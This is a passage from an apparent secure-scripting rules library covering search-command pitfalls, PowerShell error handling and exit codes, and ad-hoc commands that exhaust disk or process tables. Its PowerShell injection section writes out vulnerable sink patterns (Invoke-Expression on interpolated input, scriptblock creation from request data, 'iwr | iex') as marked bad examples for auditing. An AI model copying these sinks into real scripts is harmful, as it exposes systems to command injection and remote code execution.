fashion: a regex tool answers *"does this string appear"*; answering *"is this construct used"* wants an AST matcher (`ast-grep`, a language's own query API), because a regex generalises from whichever spelling you thought of and cannot follow a value into a helper (`sota-code-security` rules/15 §2.1). Use whichever is installed — and **report the tool, its flags and its exclusions in the same sentence as the count.** ## 2a. `rg -r` is `--replace`, not "recursive" — the same trap inverted §2's `grep -r` fabricates a false **absence**. Its twin fabricates false **content**, and the reflex that produces it is the same muscle memory: ``` rg -rn --no-heading "events_dropped|queue_len" crates/ ``` `rg` is recursive by default, so `-r` is free to mean `--replace`, and it consumes the next argument as the replacement template. Every matching line prints with the match **rewritten**, and it exits **0**. Field-measured: that command printed source reading `pub n: u64` and `let mut n = 0_u64` — which reads exactly like a field that has been renamed. Three hours later, in the same session, it happened again and produced a document containing the phrase *"shared n test suite"*. | | what it does | what the output looks like | |---|---|---| | `grep -r` over a symlinked dir | silently skips it | "no matches" — a clean absence | | `rg -r PATTERN PATH` | rewrites every match to `PATTERN` | real lines, real paths, wrong content, exit 0 | The absence at least *looks* like nothing. This one looks like evidence, and it is the shape you then quote into a finding or a commit message. **Fix:** `-n` alone for line numbers; `--replace` spelled out when you actually mean it. And **`cat` one hit before building an argument on a surprising search result** — the tell here was never the exit code, it was that the content was implausible (`sota-code-security` rules/15 §2.1, sixth bullet). Writing this trap into a personal rules file did **not** prevent the second occurrence; noticing the implausible output did. **A second tell, mechanical rather than judgemental.** `-rn` parses as `-r n`, so the `-n` you typed is eaten as the replacement template and never applied. The output comes back as `path:content` when you asked for `path:LINE:content` — **if you typed `-n` and the line numbers are missing, the content has been rewritten.** Verified on ripgrep 15.2.0, both arms, exit 0 each time: ```console $ rg -n 'Missing .*gate for' . $ rg -rn 'Missing .*gate for' . ./b.py:1:beta Missing auth gate... ./b.py:beta n deletion ./a.py:1:alpha Missing auth gate... ./a.py:alpha n deletion ``` This matters because the plausibility tell is weakest exactly where you need it: an unfamiliar tree, a language you do not write, a rewritten line that is merely odd rather than absurd. The line-number test needs no knowledge of the file at all. **Three independent reporters have now hit this with the rule installed, two with it loaded in context.** That is the calibration: the lever is not stating it more loudly. A reporter who had written the trap into their own rules file hit it again three hours later; another read this section's one-line index entry and hit it fourteen tool calls afterwards. Prefer a mechanical tell you can apply to output you already have. ## 2b. An empty command substitution removes the filter rather than matching nothing §2 and §2a distrust a suspiciously *empty* result. This points the same discipline at an implausibly *full* one: ```bash git log --author="$(get_author)" --oneline | wc -l # 373 of 373 commits, exit 0 ``` The substitution expanded to `""` and the filter **matched everything**: asked *"what did this person commit?"*, answered *"what is in this repo?"* Quoted, so this is not SC2086. **Which flags do this, measured 2026-09-13 — the split is the useful part:** | the flag filters by… | an empty value | measured | |---|---|---| | **pattern / substring** | **matches everything** | `git log --author=""` and `--grep=""` 373 of 373 · `grep -e ""` 3 of 3 | | **identifier** | rejected, or matches nothing | `ps -p ""` exit **1** on BSD *and* procps-ng 4.0.4 · `find -name ""` 0 hits, exit 0 | So a `--filter`-shaped flag is dangerous when it filters by *pattern*, merely useless when it filters by *id*. (Separately: `ps -axo … -p "$pid"` lists **every** process even for a valid pid — `-a`/`-x` override `-p` — so an implausibly large result there is the flags.) Guard the substitution, not the command: ```bash author="$(get_author)" [[ -n ${author} ]] || { printf 'no author resolved\n' >&2; return 1; } git log --author="${author}" --oneline ``` The tell is §2a's: the **result was implausible** before it was wrong — treat one far *larger* than expected exactly as a clean zero (`sota-code-security` rules/15 §2.1). ## 2c. A search pattern that begins with `-` is parsed as a flag §2a rewrites your output and §2b widens your filter. This one **destroys the query** and hands back a clean zero. A pattern is *data*, but the tool sees argv: ```console $ rg -c -F '- [ ]' . 2>/dev/null ; echo "exit=$?" exit=2 # no output at all $ rg -c -F '- [ ]' . 2>&1 | head -1 rg: unrecognized flag - # the evidence 2>/dev/null destroyed $ rg -c -F -e '- [ ]' . ./t.md:2 # the real answer ``` Field-reported: a tracker sweep reported **zero** unchecked boxes against a real **65**, and the session nearly opened by announcing an empty backlog. **Put the pattern after `-e`, or the argument list after `--`, whenever the pattern is data** — not only when you notice it starts with a dash. You will not always notice: the same trap bit a `printf` while its victim was building the fixture to demonstrate it. **And it is shell-dependent, which is why "I tested it" is not an answer.** The identical command is correct in one shell and broken in another — measured on one machine: | | `printf "- [ ] box\n"` | exit | |---|---|---| | bash 5.3 builtin | `invalid option` | 2 | | zsh 5.9 builtin | prints correctly | 0 | | `/usr/bin/printf` (BSD) | `illegal option` | 1 | | `/bin/sh` | `invalid option` | 2 | A contributor who checks this in zsh concludes the trap is imaginary. Three different exit codes across four implementations, and only one of them is success. **The combination never to write** is a `-`-leading pattern **+** `2>/dev/null` **+** `$?` read after a pipe: the first manufactures the wrong answer, the second hides the reason, and the third certifies it (`rules/01` §3 for why `$?` after a pipeline is the last stage's status). ## 2d. `cmd 2>/dev/null || echo "missing X"` reports your broken sweep as their defect The `||` arm is meant to mean *"the pattern was absent."* It fires on **every** non-zero exit, and `2>/dev/null` has already destroyed the evidence of which one. `grep` exits `1` for no-match and `2` for an unreadable or missing path — `||` cannot tell them apart: ```console # one path in the list does not exist $ grep -rnE 'Werror|/WX' CMakeLists.txt cmake/ Makefile_absent 2>/dev/null || echo "no -Werror" CMakeLists.txt:1:add_compile_options(-Werror) no -Werror <- it printed the match AND the verdict that contradicts it $ grep -rnE 'Werror' CMakeLists.txt Makefile_absent >/dev/null 2>&1 ; echo $? # 2, path missing $ grep -rnE 'ZZZ' CMakeLists.txt >/dev/null 2>&1 ; echo $? # 1, truly absent ``` The failure is **directional**: it manufactures findings rather than hiding them, so an auditor sees plausible output and files it against someone's codebase. In zsh an unquoted `Makefile*` that matches nothing raises NOMATCH and aborts the whole command, so neither the `grep` nor the `|| echo` runs and the item silently yields nothing at all (§1). **Never suppress stderr on a sweep whose *absence* you intend to report.** Branch on the exit code you actually mean, and print the captured stderr beside the verdict: ```sh err=$(grep -rnE "$pat" $paths 2>&1 >/dev/null); rc=$? case $rc in 0) echo "FOUND" ;; 1) echo "ABSENT" ;; *) echo "SWEEP FAILED (rc=$rc): $err" ;; # never the same branch as ABSENT esac ``` This library shipped the broken form in **11 files** of its own audit checklists until v1.42.2 — found by a reporter, not by any gate. A checklist line is a control, and a control that cannot distinguish "clean" from "did not run" is the silent-control-failure shape (`sota-code-security` rules/10). ## 2e. A label that states the verdict is not evidence of the verdict §2d's `|| echo` fires on any non-zero exit. This is its **unconditional** twin, and it is worse, because it fires always: ```bash ps -axo pid=,command= | grep -c "[m]y-job"; echo "^ 0 = nothing running" # printed 1 ``` The label is typed **before** the command runs, so it records what you expected rather than what happened — and it renders in the same block as the real output, where prediction and measurement are typographically identical on re-reading. `;` cannot propagate a contradiction, and a literal string cannot be falsified by the line above it. Measured 2026-09-18: four instances in one session, each contradicted by the output directly beneath it. The costly one asserted a rule was **absent from a corpus** one line above output proving it was present — the next step would have been adding a rule that already existed. **Print the value, not your reading of it.** Where a verdict is genuinely needed, derive it from the same variable the command produced: ```bash n=$(ps -axo command= | grep -c "[m]y-job") [ "$n" -eq 0 ] && echo "none running" || echo "$n still running" ``` That is `sota-code-security` rules/14 §1 applied to your own scrollback: a claim is sited in the **consumer**, derived from the value it actually received. **The tell on review** is a line beginning `^`, `(` or `<-` that asserts a *state* rather than naming a *quantity*. Read the output above it before believing it — including your own. ## 2f. A word-boundary escape is a property of the machine, not of the tool `\b` and `\<` are not portable, and failing them is **silent**: no match, exit 1, indistinguishable from a true absence. The same pattern, the same git and the same repository **answer differently on different machines** — that part is measured below, on four builds. The *mechanism* is verified on one of them and is stated at that width: on the macOS build, `nm -u` shows `_regcomp` **imported** with only git's own `_git_regcomp` wrapper defined, so that git inherits the platform's regex rather than carrying its own. Do not assume the same linkage elsewhere — the equivalent check on an Alpine build returned neither an imported nor a defined `regcomp` while `nm -D` still listed 252 symbols, which is a fact about that instrument, not about the binary. **You do not need the mechanism to act on this**: the behaviour is the rule, and the control below is what makes it visible. Measured 2026-09-18 over a file containing `53`, control (`53` alone) matching in every row: | platform | git | `\b` / `\<` | `[[:<:]]` | |---|---|---|---| | macOS, system BSD regex | 2.55.0 | **no match** | matches | | Debian, glibc | 2.39.5 and 2.47.3 | matches | **no match** | | Alpine, musl | 2.45.4 | matches | — | **There is no version to pin** — three older gits match `\b` and the newest does not. The GNU and BSD forms are **mutually exclusive**, so neither is portable. Use `-P` where PCRE is compiled in, or drop the boundary and filter afterwards. This cost two false absences in one session: a count search over an agent file that plainly contained the number, and a reference sweep that reported zero while five references existed. Both were caught only because a second, differently-shaped measurement disagreed. **Run §2's positive control on the search itself** — §2 states that control under a heading about symlinked directories, where it reads as advice about traversal rather than about every search, and that placement is why it was skipped here. ## Audit checklist - [ ] **Command substitutions that supply a filter are guarded for empty** (§2b) — an empty value makes a **pattern** flag match everything (`git log --author=""` returned 373 of 373); an identifier flag rejects it instead. An implausibly LARGE result is the tell - [ ] **No `rg -r` used to mean "recursive"** (§2a) — it is `--replace`, it rewrites every match to the next argument and exits 0, so the output is false *content* rather than a false absence. `grep -rn 'rg -r' ` your own scripts and scrollback before quoting a surprising search result - [ ] **Is any search pattern passed as a bare argument when it could begin with `-`?** (§2c) It is parsed as a flag, the error goes to stderr, and you get a clean zero. Use `-e PATTERN` or `--` whenever the pattern is *data*. The unforgivable combination is `-`-leading pattern + `2>/dev/null` + `$?` after a pipe. Shell-dependent: the same `printf` succeeds in zsh and fails in bash, so one green run proves nothing. - [ ] **Does any check report an absence through `|| echo` with stderr suppressed?** (§2d) `cmd 2>/dev/null || echo "missing X"` fires on *every* non-zero exit — grep's `2` (unreadable path) is indistinguishable from `1` (absent) once stderr is gone, and it manufactures findings about someone else's code. Branch on the exit code and print the captured stderr. Sweep your own checklists for the shape: `grep -rn '2>/dev/null ||'`. - [ ] **Does any command carry a hardcoded label asserting its own result?** (§2e) — a trailing `; echo "^ 0 = ..."` is a prediction typed before the run, and `;` cannot propagate a contradiction. Sweep your own scripts and scrollback for `; *echo` beside a counting command; print the value and derive any verdict from the variable the command produced - [ ] **Does any search rely on `\b` or `\<`?** (§2f) — absent from BSD/macOS regex, and `git grep` inherits the platform's, so the same pattern silently returns zero on one machine and matches on another. There is no version to pin. Use `-P`, the POSIX bracket form, or no boundary at all — and control the search - [ ] **Sweeps: is the searcher's traversal and exclusion set stated with the count?** (§2) `-r` skips symlinked dirs met in traversal and `-R` follows **only on ugrep/GNU** — on BSD grep (macOS `/usr/bin/grep`) neither does; `rg` skips gitignored and hidden by default; `type grep` may reveal a wrapper. Control the sweep with a known-present term **in the same invocation**. - [ ] **Every extraction or fetch printed a denominator** (§2) — bytes retrieved, members listed, total files — in the **same invocation** as the result read from it. `LINES:0` alone is a fact about the subject; `LINES:0` beside `MEMBERS:0 BYTES:39802880` localises it to the reader. Required wherever a positive control is unavailable because nothing is known to be present in the target yet. - [ ] **zsh joining bugs** (the inverse of SC2086, and unlinted): in any zsh script or snippet, `grep -nE '\$\{[a-zA-Z_]+:\+[^}]*\$' -e '[a-z] \$[a-zA-Z_]+$'` for `${var:+--flag $var}` and bare `cmd $args`. Each passes **one** argument in zsh where bash passes several. Confirm by running it: `printf "[%s]" $args` prints one bracket group, `${=args}` prints several. Symptom to recognise in a bug report — a **usage error (exit 2) from the callee**, which looks like the tool is broken. -
07-powershell.md 15.5 KB
# 07 — PowerShell (`pwsh`) — CI steps, deploy scripts, entrypoints Scope: this skill's premise is that shell hides in CI blocks, entrypoints and Makefile recipes (`rules/04`). On a Windows runner — and increasingly on Linux ones — that shell is PowerShell, and **none of `set -euo pipefail`, `${PIPESTATUS[0]}` or ShellCheck exists there**. The failure classes are the same; the mechanisms are not. Read this together with `rules/01` §3 (the safety baseline it replaces) and `rules/06` (ad-hoc commands, where the exit-status traps below bite hardest). Two dialects, and they are different products: **PowerShell 7.x** (`pwsh`, cross-platform, MIT-licensed, ships separately) and **Windows PowerShell 5.1** (`powershell.exe`, a Windows OS component, frozen). Guidance below is for 7.x unless it says otherwise. Versions and end-of-support dates are in §7 — check them before you pin. ## 1. There is no `set -euo pipefail`. Assemble the equivalent, and know what it misses **Rule: a PowerShell script that matters opens with an explicit error posture, because the defaults continue past errors.** `$ErrorActionPreference` defaults to **`Continue`** — Microsoft's own table — and it "[d]etermines how PowerShell responds to a non-terminating error, an error that doesn't stop the cmdlet processing." So a failing cmdlet prints red text and the script carries on, which is the `set -e`-less behaviour in `rules/01` §3 with a more convincing error message. ```powershell #!/usr/bin/env pwsh Set-StrictMode -Version Latest # undeclared variables & bad property refs become errors $ErrorActionPreference = 'Stop' # cmdlet errors terminate (default: Continue) $PSNativeCommandUseErrorActionPreference = $true # native non-zero exits too (default: $false) ``` - **`$ErrorActionPreference` is wider than `-ErrorAction`.** The preference variable "applies to **both** non-terminating and statement-terminating errors", while the `-ErrorAction` parameter "only affects non-terminating errors". Setting one per-call is not the same control as setting the posture. - **The line that is actually missing is the third one.** `$PSNativeCommandUseErrorActionPreference` defaults to **`$false`**: when it is `$true`, "native commands with non-zero exit codes issue errors according to `$ErrorActionPreference`." Left at the default, `$ErrorActionPreference = 'Stop'` does **nothing** for `git`, `docker`, `kubectl`, `terraform`, `msbuild` or any other executable — a failed `git push` mid-script is invisible and the script runs on. This is the single highest-yield defect in PowerShell CI, and it looks fixed because the second line is present. (PowerShell 7.4 added control over how `stderr` writes are handled; 7.2 stopped redirected native errors reaching `$Error`.) - **Deliberate non-zero exits exist**: `robocopy` uses exit codes as information. Scope the opt-out to the call rather than the script, as Microsoft's own example does — a scriptblock setting `$PSNativeCommandUseErrorActionPreference = $false`, then checking `$LASTEXITCODE` explicitly. - **`try/catch` only catches *terminating* errors.** A non-terminating error under `Continue` never enters `catch`. Either set the posture above or pass `-ErrorAction Stop` on the call you are guarding; a `catch` around unguarded cmdlets is decoration. - Audit: a `.ps1` under `ci/`, `deploy/` or a container entrypoint with no `$ErrorActionPreference` line = **High**; one that sets it but not `$PSNativeCommandUseErrorActionPreference` while calling native tools = **High** (the control is present and inert — `sota-code-security` rules/10). ## 2. Three ways to read "did that work", and they disagree **Rule: name which status you are reading, and never read a status through a wrapper that does not propagate it.** This is `rules/06`'s table for bash, re-derived: the mechanism differs, the false green is identical. | you read | it means | the trap | |---|---|---| | `$?` | execution status of the **last command**: `True` if it succeeded | set by `Write-Error` **but not for the function that called it** | | `$LASTEXITCODE` | "the exit code of the last **native program or PowerShell script**" | unset if no native command has run yet; a stale value otherwise | | `throw` / `catch` | a terminating error | never fires for a non-terminating one, nor for a native non-zero exit at the default preference | - **`$?` does not climb out of a function.** Microsoft's documented example: a function that calls `Write-Error` shows `$?` as `False` *inside* the function and **`True`** on the next line outside it. "The `Write-Error` cmdlet always sets `$?` to **False** immediately after it's executed, but won't set `$?` to **False** for a function calling it" — use `$PSCmdlet.WriteError()` when the caller must see it. A wrapper function that validates input and `Write-Error`s on bad input therefore reports success to its caller. - **For executables the two agree by construction**: `$?` "is set to **True** when `$LASTEXITCODE` is 0, and set to **False** when `$LASTEXITCODE` is any other value." So for native tools, read `$LASTEXITCODE` — it carries the number, and `$?` throws it away. - **`$LASTEXITCODE` is not reset by a cmdlet.** Only a native command or a script's `exit` moves it, so a check after a cmdlet-only stretch reads whatever the last executable left there — the stale-status shape of `rules/06` §1. - **A pipeline has no `PIPESTATUS`.** PowerShell pipelines pass objects, not exit codes; there is nothing to index. If you need the producer's status, do not pipe it — capture output and check `$LASTEXITCODE` on its own line, the same conclusion `rules/01` §3 reaches for zsh. - Audit: `if ($?)` after anything other than the immediately preceding native command = **Medium**; a wrapper function whose only failure signal is `Write-Error` = **High**. ## 3. `pwsh -File` and `pwsh -Command` end differently **Rule: know which invocation form your CI uses, because they derive the process exit code by different rules.** From `about_Automatic_Variables`: - Called with **`-File`**, `$LASTEXITCODE` is `1` "if the script terminated due to an exception", the value of `exit` if used, or `0` on success. - Called with **`-Command`**, it is `1` "if the script terminated due to an exception **or if the result of the last command set `$?` to `$false`**", and `0` "if the script completed successfully and the result of the last command set `$?` to `$true`". So under `-Command` the **last statement decides the verdict**. A step that ends with a `Write-Host` summary, a cleanup call, or a log tail reports success no matter what failed three lines earlier — the masked-exit-code defect of `rules/06`, promoted to an entire CI step. End such a script with an explicit `exit` you computed, never with a convenience call. ## 4. GitHub Actions: the built-in shell is safe, and opting out silently removes the safety **Rule: use the bare `shell: pwsh` keyword, and treat any custom shell string as taking over responsibility for fail-fast and exit propagation.** For the built-in `pwsh` and `powershell` keywords, GitHub prepends `$ErrorActionPreference = 'stop'` to the script and appends `if ((Test-Path -LiteralPath variable:\LASTEXITCODE)) { exit $LASTEXITCODE }`, so the step's status reflects the script's last exit code ([workflow syntax](https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax)). That is a good default and it is **not inherited** by a custom shell: ```yaml - shell: pwsh # GOOD: fail-fast prepended, exit code appended run: ./deploy.ps1 - shell: pwsh -File {0} # BAD: both the prepend and the append are gone run: ./deploy.ps1 ``` - **The prepend does not cover native commands.** It sets `$ErrorActionPreference`, not `$PSNativeCommandUseErrorActionPreference` (§1), so a failing `terraform` or `docker` in the middle of a step still does not stop it. The appended `exit $LASTEXITCODE` rescues only the case where the failing executable was the **last** one to run. - **The append is conditional on the variable existing** (`Test-Path variable:\LASTEXITCODE`). A step that runs no native command never sets it, so the append is a no-op and the step's status comes from pwsh itself. - `shell: powershell` is **Windows PowerShell 5.1**, a different product with a different engine; and on a self-hosted Windows runner without PowerShell Core installed, `pwsh` falls back to it. Pin the dialect you tested (§7). - Audit: a custom `shell:` string wrapping PowerShell with no explicit `exit` = **High** — this is `sota-devsecops` rules/09's "the gate's own exit code" question, one layer down. ## 5. Injection: `Invoke-Expression` is `eval`, and string-built commands are the same defect **Rule: never interpolate untrusted input into a command string.** `rules/03` §1 in PowerShell's vocabulary — the sinks differ, the class does not. ```powershell # BAD — every one of these is eval Invoke-Expression "Get-Item $userPath" & ([scriptblock]::Create($fromRequest)) $cmd = "git checkout $branch"; Invoke-Expression $cmd # GOOD — arguments stay arguments Get-Item -LiteralPath $userPath git checkout -- $branch $params = @{ Path = $userPath; Recurse = $true }; Get-ChildItem @params # splatting ``` - **`-LiteralPath` over `-Path`** wherever the value is not yours: `-Path` interprets `*`, `?` and `[ ]` as wildcards, so a filename containing them silently selects other files, or nothing. The quiet-wrong-set shape of `rules/06`. - **Splatting (`@params`) is the array-for-command-building rule** of `rules/05`: it keeps arguments as data instead of re-parsing a string. - **Argument passing to native commands differs by platform**: `$PSNativeCommandArgumentPassing` defaults to `Windows` on Windows and `Standard` elsewhere, so the same script can pass arguments differently on a Windows runner and a Linux one. Test on the platform you deploy to. - **Double quotes interpolate, single quotes do not** — `"$x"` and `"$($x.Prop)"` expand, `'$x'` is literal. A password or token in a double-quoted string headed for a command line is `rules/03` §2's argv-exposure defect. - Audit: any `Invoke-Expression`/`iex` reachable from input = **Critical** if the input crosses a trust boundary; `-Path` with an externally supplied value = **Medium**. ## 6. Execution policy is not a security control **Rule: never present `Set-ExecutionPolicy` as a defence, and never treat `-ExecutionPolicy Bypass` in a pipeline as a finding on its own.** Microsoft is explicit: "The execution policy isn't a security boundary, it's defense in depth. For example, users can easily bypass a policy by typing the script contents at the command line when they can't run a script." - **Enforcement is Windows-only.** On non-Windows "the default execution policy is **Unrestricted** and can't be changed"; `Get-ExecutionPolicy` returns `Unrestricted` but "the behavior really matches **Bypass**". A cross-platform script that reasons about policy is reasoning about nothing on two of its three platforms. - The real controls are the ones this library already names: signing and provenance (`sota-devsecops` rules/03), least privilege for the account the script runs as (`sota-sandboxing`), and not fetching code at runtime (`rules/03` §5 on `curl|bash`, whose PowerShell form is `iwr ... | iex` and is the same defect). - `Unblock-File` clears the mark-of-the-web; note that `curl.exe`, `Invoke-RestMethod` and `Invoke-WebRequest` do **not** set it, so a download through them is never marked in the first place. - Audit: a remediation that says "set the execution policy to RemoteSigned" and stops = **Info, and wrong** — record what actually gates execution. ## 7. Versions, and the EOL date beside each one Operating principle 1: a version with no end-of-support date beside it has not been looked up. From Microsoft's support-lifecycle page (checked 2026-09-14 — re-check before pinning, because two of these fall inside two months): | release | released | end of support | note | |---|---|---|---| | PowerShell 7.6 (LTS) | 18-Mar-2026 | **14-Nov-2028** | current LTS; prefer for new work | | PowerShell 7.5 | 23-Jan-2025 | **10-Nov-2026** | current Stable | | PowerShell 7.4 (LTS) | 16-Nov-2023 | **10-Nov-2026** | previous LTS | | Windows PowerShell 5.1 | Aug-2016 | tied to the **Windows** lifecycle | an OS component, not this product; no new features | - **5.1 is not "old PowerShell", it is a different runtime** (.NET Framework, `Desktop` edition). Scripts that work under `pwsh` can fail under it, and `shell: powershell` in CI selects it. If you must support both, say so and test both. - PowerShell 7.x support "follows the support lifecycle of .NET", so a PowerShell EOL is really the underlying .NET EOL — check both when a pin has to be justified. ## 8. Lint and format, because ShellCheck does not run here **Rule: PowerShell gets its own analyser in CI, gating at the same severity as ShellCheck does for bash (`rules/03` §7).** The analyser is [PSScriptAnalyzer](https://github.com/PowerShell/PSScriptAnalyzer) (`Invoke-ScriptAnalyzer`), with `Invoke-Formatter` as the `shfmt` analogue. - Run it over the whole tree, fail the build on `Error` **and** `Warning` — the argument in `rules/03` §7 for not dismissing `style` applies unchanged: the low-severity rules are where the quoting and scoping defects are. - Suppressions carry a reason and an owner, like every other ignore in this library (`sota-devsecops` rules/03 §3.6). - **Watch the analyser fail once before trusting a green run** — `sota-code-security` rules/11 §7. A misconfigured `-Path` that matches no `.ps1` reports zero findings and exits 0, which is the empty-denominator signature this repo gates on. ## Audit checklist - [ ] Does every `.ps1` that runs in CI, deploy or an entrypoint set `$ErrorActionPreference` explicitly rather than inheriting `Continue`? - [ ] Where native commands are called, is `$PSNativeCommandUseErrorActionPreference` set to `$true` — or is each call's `$LASTEXITCODE` checked on its own line? (Default `$false` makes an `ErrorActionPreference = 'Stop'` script silently tolerate a failed `git`.) - [ ] Is `Set-StrictMode -Version Latest` set, so a typo'd variable is an error and not `$null`? - [ ] Does any `catch` guard a cmdlet that was never made terminating (no `-ErrorAction Stop`, no `Stop` preference)? - [ ] Does a wrapper function signal failure only through `Write-Error`, which does not set `$?` for its caller? - [ ] Is `$?` read anywhere other than immediately after the command it describes? - [ ] Is `$LASTEXITCODE` read where no native command has necessarily run, so it is stale or unset? - [ ] Under `pwsh -Command`, does the script end with a convenience call (logging, cleanup) whose `$?` becomes the process exit code? - [ ] Does any GitHub Actions step use a **custom** `shell:` string for PowerShell, dropping the built-in prepend/append — and if so, does it exit explicitly? - [ ] Any `Invoke-Expression`, `iex`, `[scriptblock]::Create()` or `iwr | iex` reachable from untrusted input? - [ ] Is `-Path` used with externally supplied values where `-LiteralPath` is meant? - [ ] Are command lines built by string concatenation rather than splatting? - [ ] Is an execution policy cited anywhere as a security control? - [ ] Is the target dialect stated (7.x vs Windows PowerShell 5.1), and is each pinned version recorded with its end-of-support date? - [ ] Does CI run PSScriptAnalyzer over the whole tree, gate on Warning and above, and has the gate been watched producing a finding rather than only a clean run? -
08-ad-hoc-side-effects.md 8.6 KB
# 08 — Ad-hoc commands: when the check itself does damage Scope: the sibling of `rules/06`. That file is about a verification command returning the **wrong answer**; this one is about a verification command with **side effects** — it destroys what it was inspecting, or exhausts a resource nobody budgets. Split out of `rules/06` at v1.42.2 when that file reached its 500-line cap; §3 and §4 keep their numbers so every existing citation still names the right section. `rules/06` §2's discipline — state the traversal, print the denominator, control the sweep — is assumed. **The unifying property:** "I am only checking something" bounds nothing. A read-only *intent* is not a read-only *command*, and the blast radius of a probe is whatever the probe actually invokes. ## 3. An ad-hoc command can destroy the thing it was checking The failure modes above are about *wrong answers*. A verification command can also do **damage**, and nothing about "I am only checking something" bounds its blast radius. Field-reported: a command whose entire purpose was to check a claim copied a 40 GB build directory into a container on a host already at 99% full, which corrupted the container runtime's storage and cost ~64 GB of images. The check was never run. Before an ad-hoc command that **writes at scale** — a container copy or build, an image export, a bulk archive, a recursive `cp`/`rsync`, anything with `--output` on a big tree: - **Look at headroom first** (`df -h` on the target filesystem, and on the runtime's own storage, which is often a different one). A verification step is not exempt from capacity planning; it is just unbudgeted. - **Prefer read-only**: mount the source `:ro`, and send output **outside the source tree** to a path you chose. A check that cannot write to its subject cannot corrupt it. - **Bound it before running it** — `du -sh` the thing you are about to copy. "It is only the repo" is a guess about size, and the number is one command away. - **Build output is the trap, and it is never in your mental model of the repo.** `target/`, `node_modules/`, `.venv/`, `vendor/`, `build/` and `dist/` reach tens of gigabytes and are exactly what a naive recursive copy takes. Exclude them, or better, do not copy: point the tool's output elsewhere (`CARGO_TARGET_DIR=/build`, `--target-dir`, `-o`) and leave the source read-only. - **A full disk is not a clean failure.** On a VM-backed container runtime the guest's disk is a sparse file on the host's, so exhausting the host surfaces *inside* the VM as I/O errors and can corrupt the filesystem and image store — minutes later, in an unrelated command, long after the one that caused it. - Cleanup on a shared runtime is not housekeeping: see `sota-devsecops` rules/07 §7.7. ## 4. The loop you left running exhausts the process table — and takes cleanup with it §3 is about a command that writes too much. This is the same idea aimed at a resource nobody budgets: **processes**. It is the more dangerous of the two, because running out of disk still lets you run `rm`, and running out of processes does not let you run anything at all. **The shape.** A wait loop, backgrounded, with no bound on its iterations: ```bash # WRONG — nothing here ever stops, and each tick spawns while ! pgrep -f "run-eval.py" >/dev/null; do sleep 60; done & ``` Every iteration forks (`pgrep`, `grep`, `ps`, the subshells in a `$(…)`), and a backgrounded loop outlives the command that started it — often the whole session. `rules/06` §1's `pgrep -f` self-match is what makes it never stop: the loop's own argv contains the pattern, so it matches itself forever. `rules/06` §1 frames that cost as *a burned timeout*. The larger cost is that it never stops **spawning**. **How big it gets, measured — and read the attribution note.** At failure on the machine below, `ps -A | wc -l` read **11,463** against a `kern.maxprocperuid` of **11,136**: the per-user table was full, with **≈10,700 `/bin/sh`** in it. **Correction (2026-09-10): those figures are the *signature*, not evidence for this section's cause.** When this section was first written the numbers were attributed to backgrounded wait loops, which had indeed been running that hour — but parentage had not been checked, and the section said so. It was checked afterwards, and the `/bin/sh` processes belonged to a **self-recursive `PATH` shim** (`rules/03` §3a); deleting one file took the count to **691**. The tell was in the evidence all along: a `zsh` wait loop spawns `zsh`, `sleep` and `pgrep` — never **10,700 `/bin/sh`**. **Two unrelated causes produce this identical signature** — an unbounded backgrounded loop (this section) and a wrapper that shadows a command it calls (`rules/03` §3a) — and **only a parentage check distinguishes them**: `ps -axo pid=,ppid=,command=`, grouped by ppid. Sequential PIDs with one child each is a recursion; many children under one parent is a pool or a loop. Fixing the wrong one leaves the machine exactly as exposed, so **do not pick between them from whichever you happen to have been doing that hour.** The mechanism and the remedies below are unchanged and independently sound: an unbounded backgrounded wait *is* a real way to fill the process table, whether or not it was this incident's cause. **Recognise the signature, because it is not the one you expect:** - It does **not** degrade gradually. It hits a ceiling and *every* tool fails at once. - The error is `fork failed: resource temporarily unavailable`, and it appears in the agent's shell and the operator's interactive shell **simultaneously** — which reads like the machine broke, not like a script did something. - **The cleanup tools are inside the blast radius.** `ps -o ppid`, `killall`, `pkill`, even `echo` in a fresh shell, all need to fork. So does the diagnosis: you cannot learn which process leaked because listing parents requires a process. - `kill` being a **shell builtin does not rescue you** if each command runs in a newly spawned shell — that spawn is the thing failing, before any builtin executes. - What is left is a GUI process manager (already running, kills internally) or a reboot. Plan for that before you background anything. **So:** - **Do not poll work that something else already reports.** Where a harness, CI or job runner notifies on completion, waiting for that notification costs nothing; a polling loop costs a process per tick and buys the same answer later. - **Never background an unbounded wait.** Before writing any repeating loop, ask what makes it *stop* — and if the answer is a `pgrep` on a pattern the loop's own argv contains, the answer is **nothing** (`rules/06` §1). - **Bound the iterations, not just the sleep**: `for i in $(seq 1 60)`, never a bare `while true` / `until`. A loop that gives up is a loop that cannot leak forever. - **Keep it in the foreground** so it dies with the command that started it, and **watch an artifact rather than a process** — `until grep -q DONE run.log` forks less and cannot match itself. - **Check headroom for the resource you are about to spend**, exactly as §3 asks for `df -h`: `ps -A | wc -l` against `sysctl -n kern.maxprocperuid` (macOS) or `ulimit -u`. A loop that ticks every 60s for a day is 1,440 spawns *if each one exits* — and a leaked-process count that climbs while you watch it is the cheapest early warning there is, because at the ceiling you can no longer run the command that would tell you. Blast radius is not only disk (§3). It is whatever finite resource the command consumes without anyone counting — and the process table is the one whose exhaustion disables the tools you would use to recover. ## Audit checklist - [ ] **Ad-hoc commands that write at scale** (§3): headroom checked (`df -h` on the target *and* the runtime's own filesystem), source mounted read-only, output outside the source tree, size bounded with `du -sh` before the copy, and build output (`target/`, `node_modules/`, `.venv/`, `vendor/`) excluded or redirected rather than copied. - [ ] **Backgrounded wait loops** (§4): does any `&`-ed loop lack a bound on its iterations, and does anything make it stop other than a `pgrep` that matches the loop's own argv? Grep for the shape — `grep -nE '(while|until).*(true|pgrep|ps ).*&\s*$'` — and for polling of work a harness already reports. Headroom for the resource being spent is checked (`ps -A | wc -l` vs `ulimit -u`), not just `df -h`. If the table is already full, **establish parentage before assigning blame** — a self-recursive wrapper (`rules/03` §3a) produces the same signature, and only `ps -axo pid=,ppid=,command=` tells the two apart. -
09-listing-and-selection.md 7.6 KB
